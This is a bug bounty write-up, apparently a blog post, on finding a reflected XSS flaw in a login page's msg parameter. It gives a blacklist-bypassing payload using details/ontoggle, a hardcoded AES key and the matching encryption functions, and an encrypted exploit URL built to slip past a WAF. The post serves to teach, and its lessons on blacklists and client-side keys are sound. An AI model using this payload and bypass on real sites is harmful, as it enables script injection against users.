October 27, 2026
The WAF Said No: Finding XSS Through JavaScript Recon
Hello hackers, I’m Youssef Wael (aka 0xGh4zy). In this write-up, I’ll walk you through how I discovered and exploited a XSS vulnerability…

By 0xGh4zy
2 min read
Hello hackers, I'm Youssef Wael (aka 0xGh4zy). In this write-up, I'll walk you through how I discovered and exploited a XSS vulnerability by analyzing a single JavaScript file in a self-hosted bug bounty program.
بسم الله ، اللهم علمنا ما ينفعنا و انفعنا بما علمتنا و زدنا بك علما
let's get started :)
It All Started with JavaScript
I had a login page and not much else to explore. So, naturally, my first move was to inspect the JavaScript files.
After digging through the code, with a little help from AI, I found a parameter named msg, responsible for displaying error messages when combined with type=error.
Things got interesting when I discovered how the message was rendered:
if (t.msg) {
if (/<(script|form|iframe|object|embed|link|style|meta|img|svg|input|button|textarea|select)[^>]*>/i.test(t.msg))
return void window.history.replaceState({}, "", window.location.pathname);
// ...
A((0, n.jsx)("span", {
className: "server-error-html",
dangerouslySetInnerHTML: { __html: t.msg }
}));
// ...
}if (t.msg) {
if (/<(script|form|iframe|object|embed|link|style|meta|img|svg|input|button|textarea|select)[^>]*>/i.test(t.msg))
return void window.history.replaceState({}, "", window.location.pathname);
// ...
A((0, n.jsx)("span", {
className: "server-error-html",
dangerouslySetInnerHTML: { __html: t.msg }
}));
// ...
}The developer had implemented a blacklist for several HTML tags, but the input was still being rendered through dangerouslySetInnerHTML.
A blacklist protecting an HTML injection sink? Challenge accepted.
2. Finding an Alternative Payload
After exploring tags missing from the blacklist, I decided to try the details element with the ontoggle event:
<details open ontoggle="alert('Pwned by 0xgh4zy')">
<h2>Pwned by 0xgh4zy</h2>
</details><details open ontoggle="alert('Pwned by 0xgh4zy')">
<h2>Pwned by 0xgh4zy</h2>
</details>I injected the payload into the msg parameter, but the WAF blocked my request.
Was I going to stop there? Nope.
3. The Plot Twist: Encrypted Parameters
While reviewing the same JavaScript file, I noticed encryption and decryption functions.
Instead of regular parameters like:
/login?msg=Hello&type=error/login?msg=Hello&type=errorThe application used hexadecimal-looking parameter names and values.
Looking closer, I found that the application decrypted both the parameter names and their values before processing them:
let params = Array.from(D.entries());
if (params.length >= 2) {
let decrypted = {};
params.forEach(([key, value]) => {
try {
let decodedKey = decrypt(key);
let decodedValue = decrypt(value);
decrypted[decodedKey] = decodedValue;
} catch (e) {}
});
}let params = Array.from(D.entries());
if (params.length >= 2) {
let decrypted = {};
params.forEach(([key, value]) => {
try {
let decodedKey = decrypt(key);
let decodedValue = decrypt(value);
decrypted[decodedKey] = decodedValue;
} catch (e) {}
});
}That was my way forward.
If the application expected encrypted parameters, why not generate them myself?
4. Reverse-Engineering the Encryption
Luckily, the encryption logic and its key were right there in the JavaScript:
let i="sWaPVCuq20e1peaZnXL2HyEE4G9VSPhk";
function o(e) {
let t = CryptoJS.AES.encrypt(e, i).toString();
return CryptoJS.enc.Base64.parse(t).toString(CryptoJS.enc.Hex);
}
function s(e) {
let t = CryptoJS.enc.Hex.parse(e).toString(CryptoJS.enc.Base64);
return CryptoJS.AES.decrypt(t, i).toString(CryptoJS.enc.Utf8);
}let i="sWaPVCuq20e1peaZnXL2HyEE4G9VSPhk";
function o(e) {
let t = CryptoJS.AES.encrypt(e, i).toString();
return CryptoJS.enc.Base64.parse(t).toString(CryptoJS.enc.Hex);
}
function s(e) {
let t = CryptoJS.enc.Hex.parse(e).toString(CryptoJS.enc.Base64);
return CryptoJS.AES.decrypt(t, i).toString(CryptoJS.enc.Utf8);
}The application used AES encryption, followed by a Base64-to-hexadecimal transformation.
Since the key was hardcoded in a publicly accessible JavaScript file, I could reproduce the same process for both parameter names and values.
I encrypted the payload, generated the corresponding URL, and tried again.
https://target.com/login/?53616c7465645f5f51d8504161c3d8f67a9de004b29247cc58e7f829f3909cfd=53616c7465645f5f2a91346f216d7018f4476c95dc7de5e0f0d2c836e0c427150395653edd9a11516c084cb0b588d62e8f517c7c78c19a63bd97c12feb9957ae224530353b0a316cd6eacb11d8a3021886663a4a040c74a6700729cc93554412aa5d0d064a548261681760b1eccfc97f16b29abcee242190abbad50d1823e463&53616c7465645f5f8d5b9b8051a54986b203424aa3ea91acb6c64dbece714d4e=53616c7465645f5f4ac683e721fc3a8997fd6fba4544a1f7d7894b70565e2c3dhttps://target.com/login/?53616c7465645f5f51d8504161c3d8f67a9de004b29247cc58e7f829f3909cfd=53616c7465645f5f2a91346f216d7018f4476c95dc7de5e0f0d2c836e0c427150395653edd9a11516c084cb0b588d62e8f517c7c78c19a63bd97c12feb9957ae224530353b0a316cd6eacb11d8a3021886663a4a040c74a6700729cc93554412aa5d0d064a548261681760b1eccfc97f16b29abcee242190abbad50d1823e463&53616c7465645f5f8d5b9b8051a54986b203424aa3ea91acb6c64dbece714d4e=53616c7465645f5f4ac683e721fc3a8997fd6fba4544a1f7d7894b70565e2c3d
This time, the request followed the application's expected parameter format without exposing the original payload as readable text.
5. Lessons Learned
This investigation was a reminder that a simple login page can reveal much more than expected.
- Client-side JavaScript can expose hidden functionality and security assumptions.
- Blacklists are fragile when used to protect HTML injection sinks.
- Hardcoded client-side encryption keys aren't secret.
- Security filters must account for how applications transform and interpret incoming data.
Sometimes, hitting a wall is just a reason to look at the problem from another angle.
Resources
I've published the encryption code and a lab inspired by this technique here:
Unfortunately, the report was marked as a duplicate, but the journey was still a valuable learning experience.
And we're all done! I hope you enjoyed the writeup and perhaps picked up something new along the way.
If you have any questions or comments, feel free to reach out: Youssef Wael
و في النهاية، إن أحسنت فمن الله، وإن أسأت أو أخطأت فمن نفسي والشيطان